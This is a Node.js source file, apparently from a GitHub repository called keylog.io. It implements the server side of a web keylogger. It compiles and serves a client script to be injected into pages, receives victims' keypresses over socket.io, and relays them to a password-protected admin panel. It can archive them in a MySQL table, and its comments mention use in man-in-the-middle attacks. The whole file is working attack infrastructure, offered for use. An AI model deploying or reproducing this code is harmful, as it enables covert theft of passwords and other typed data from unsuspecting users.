-
Notifications
You must be signed in to change notification settings - Fork 10
/
index.js
298 lines (259 loc) · 9.73 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
'use strict';
const http = require('http');
const path = require('path');
const compression = require('compression')
const express = require('express');
const basicAuth = require('express-basic-auth');
const bodyParser = require('body-parser');
const mysql = require('mysql');
const moment = require('moment');
const async = require('async');
const ora = require('ora');
const open = require('opn');
const app = express();
// Script default settings for keylogger and database integration
const defaults = require('./config');
// Like object assign but avoid undefined
function assignDefined(target, ...sources) {
for (const source of sources) {
for (const key of Object.keys(source)) {
const val = source[key];
if (val !== undefined) {
target[key] = typeof val === 'object' ?
assignDefined(target[key] || {}, val) :
val;
}
}
}
return target;
}
module.exports = function(options) {
let conn = null;
const spinner = ora({
text: '[K]eylog.io is starting.\n',
hideCursor: true
}).stopAndPersist({symbol: '♥'});
// Init the http server with express handler
const server = http.Server(app);
// Copy the original execution options before they
// get merged with the detauls and possibly extended
const execOpts = Object.assign({}, options);
// Extend default options with user supplied
options = assignDefined({}, defaults, options);
// Admin interface root page
const address = `http://${options.hostname}:${options.port}`;
async.series({
connectDB: next => {
// Since the options was merged and we can't say from
// the extended options if the database property was selected
// by user, refef to the original values to check if enable db
if (!execOpts.database || !execOpts.database.hostname) {
return next(null, false);
}
// Create MySQL client
conn = mysql.createConnection({
host: options.database.hostname,
user: options.database.username,
password: options.database.password,
database: options.database.name,
debug: options.database.debug
});
spinner.color = 'yellow';
spinner.start('Testing database connection.');
async.series({
testConnection: cb => conn.query('SELECT 1', cb),
setupTable: cb => {
spinner.text = 'Running database table setup.';
const createTableQuery = `
CREATE TABLE IF NOT EXISTS \`keylogs\` (
\`id\` int(11) NOT NULL AUTO_INCREMENT,
\`hostname\` varchar(50) NOT NULL,
\`element\` varchar(50) NOT NULL,
\`key\` varchar(50) NOT NULL,
\`path\` varchar(255) NOT NULL,
\`timestamp\` timestamp NOT NULL DEFAULT current_timestamp(),
KEY (\`id\`),
INDEX \`HOSTNAME_INDEX\` (\`hostname\`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
`
conn.query(createTableQuery, (err, results) => {
if (err) return cb(err)
if (results.warningCount) {
spinner.color = 'yellow';
spinner.text = 'Table already exists.';
} else {
spinner.text = 'Created keylogs table and indexes.'
}
next(null, true);
});
}
}, (err, resp) => {
if (err) {
conn = null;
spinner.warn(`Failed to initializate the database.`);
spinner.warn(err.message + '\n');
return next(null, false);
}
const dbName = options.database.name;
spinner.succeed(`Successfully connected to ${dbName} db.\n`);
next(null, dbName);
});
},
serveDemo: next => {
if (!options.serveDemo) {
return next(null, false);
}
// Force the client file to be served since the demo depends on it
options.serveClient = true;
// Serve the demo page through express
spinner.start('Preparing the demo files.');
app.use('/demo', express.static(path.join(__dirname, 'demo')));
next(null, '/demo');
},
serveClient: next => {
if (!options.serveClient) {
return next(null, false);
}
// Extend default config because client file needs this variable
const webpack = require("webpack");
const webpackConfig = require('./webpack.config.js');
webpackConfig.plugins.unshift(new webpack.DefinePlugin({
SERVER_URL: JSON.stringify(address)
}))
// Compile the client script with the new endpoint
spinner.start('Compiling the client script.');
webpack(webpackConfig, (err, stats) => {
if (err) {
spinner.fail('The build of the client file failed.');
if (err.details) {
spinner.fail(err.details);
}
return next(null, false);;
}
// Serve the client script through express
spinner.text = 'Client script compiled successfully.';
app.get('/client.min.js', function (req, res) {
res.sendFile(path.join(__dirname, '../dist/bundle.min.js'));
});
next(null, '/client.min.js');
});
},
setupSocket: next => {
const io = require('socket.io')(server, {
serveClient: false,
cookie: false
});
// Administrator private namespace
const admin = io.of('/admin');
spinner.start('Configuring the socket server.');
// When a client connects all the keypress events are forwarded
// to the administrator namespace which is dedicated to the interface
io.on('connection', function (socket) {
// When new users connect or disconnect update the number of connected
// sockets that is displayed on the admin interface, useful to know
// if the program is working in case of MITM attacks
admin.emit('clients', Object.keys(io.sockets.connected))
socket.on('disconnect', () => {
admin.emit('clients', Object.keys(io.sockets.connected))
})
// Listen for keylogs
socket.on('keypress', (data) => {
// Optionally save the keypresses to MySQL database
// since the interface supports an archive mode for searching through
// the keylog recording history this can be really useful
if (conn && conn.state !== 'disconnected') {
let mysqlData = Object.assign({}, data);
mysqlData.timestamp = moment(data.timestamp).format('YYYY-MM-DD HH:mm:ss')
conn.query('INSERT INTO keylogs SET ?', mysqlData, function (error, results, fields) {
if (error) {
console.log('Error while saving keylog event to database:\n', error);
}
});
}
// Forward all the keylogs to the administrator namespace
admin.emit('keylog', data);
});
});
next(null, true);
},
setupServer: next => {
app.use(bodyParser.json());
app.use(compression());
// Add the api routes that depends on MySQL database
if (conn) {
app.locals.conn = conn;
app.use('/api', (req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, DELETE');
next();
}, require('./router'));
}
// Serve all the static files for administration interface
app.use(express.static(path.join(__dirname, '/../dist')));
// Basic HTTé Authorization handler
const authorizationFunction = basicAuth({
challenge: true,
users: { [`${options.username}`]: options.password }
});
// Serve the keylog.io administration panel index
app.get('*', authorizationFunction, (req, res) => {
res.sendFile(path.join(__dirname, '/../dist/index.html'));
});
// Start express socket server
spinner.start('Starting http server.');
server.listen(options.port, '0.0.0.0', () => {
next(null, {
local: `http://localhost:${options.port}`,
public: address
});
}).on('error', next);
}
}, (err, results) => {
if (err) {
spinner.fail('Something went wrong:\n', err);
process.exit(err);
return;
}
let cp;
spinner.succeed('Server running at:');
console.log(' - Local address:'.padEnd(20), results.setupServer.local);
console.log(' - Public address:'.padEnd(20), results.setupServer.public, '\n');
if (results.serveClient) {
let nl = results.serveDemo ? '' : '\n';
spinner.info(`The CLIENT script is available at: ${results.serveClient} ${nl}`);
}
if (results.serveDemo) {
spinner.info(`The DEMO page can be accessed at: ${results.serveDemo}\n`);
}
// Open the admin interface using system default browser
if (options.open) {
spinner.info('A web browser page should open is seconds.');
spinner.info('If something fails, please visit the url manually.\n');
cp = open(address);
}
spinner.info('Press [ctrl+c] at anytime to stop the server.\n');
spinner.color = 'white';
spinner.start('Waiting for clients connections... \n');
function gracefulShutdown() {
spinner.succeed('The server has been closed correctly.\n');
console.log('★ Thank you for using our products.\n')
process.exit(0);
}
function exitHandler() {
spinner.color = 'yellow';
spinner.start('Closing the server, wait a second.\n');
if (conn) {
connection.end(function(err) {
spinner.start('Closed database connection.\n');
console.log('err', err);
gracefulShutdown()
});
} else {
gracefulShutdown()
}
}
process.on('SIGINT', exitHandler);
process.on('SIGUSR1', exitHandler);
process.on('SIGUSR2', exitHandler);
});
};